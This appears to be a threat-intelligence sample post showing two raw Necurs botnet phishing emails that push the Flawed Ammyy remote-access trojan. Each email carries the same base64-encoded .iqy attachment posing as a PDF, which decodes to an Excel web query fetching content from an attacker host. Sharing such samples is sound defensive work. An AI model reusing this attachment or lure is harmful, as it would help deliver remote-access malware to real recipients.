2 examples of emails using .iqy files to push Flawed Ammyy

2 EXAMPLES OF NECURS BOTNET EMAILS USING .IQY ATTACHMENTS TO PUSH FLAWED AMMYY RAT:

Received: from 187-7-37-160.fnses700.ipd.brasiltelecom.net.br ([187.7.37.160])
	by [removed] for [removed];
	Tue, 17 Jul 2018 15:28:12 +0000 (UTC)
Date: Tue, 17 Jul 2018 12:28:13 -0200
From: Diann <diann.greenhalgh03@didgeridoo.es>
To: [removed]
Message-ID: <139713173.2379.2797243214435.JavaMail.tbx@didgeridoo.es>
Subject: PDF_38995
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_Part_8693_581889588.7894826436172"


------=_Part_8693_581889588.7894826436172
Content-Type: text/plain; charset=us-ascii
content-transfer-encoding: 7bit




------=_Part_8693_581889588.7894826436172
Content-Type: application/octet-stream; name=PDF_38995.iqy
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=PDF_38995.iqy

V0VCDQoxDQpodHRwOi8vdDY5Yy5jb20vQQ==

------=_Part_8693_581889588.7894826436172--






Received: from static-190-25-217-104.static.etb.net.co ([190.25.217.104])
	by [removed] for [removed];
	Tue, 17 Jul 2018 15:28:16 +0000 (UTC)
Date: Tue, 17 Jul 2018 10:28:16 -0500
From: Diann <diann.greenhalgh03@didgeridoo.es>
To: [removed]
Message-ID: <139713173.2379.2797243214435.JavaMail.tbx@didgeridoo.es>
Subject: PDF_38995
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_Part_8693_581889588.7894826436172"


------=_Part_8693_581889588.7894826436172
Content-Type: text/plain; charset=us-ascii
content-transfer-encoding: 7bit




------=_Part_8693_581889588.7894826436172
Content-Type: application/octet-stream; name=PDF_38995.iqy
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=PDF_38995.iqy

V0VCDQoxDQpodHRwOi8vdDY5Yy5jb20vQQ==

------=_Part_8693_581889588.7894826436172--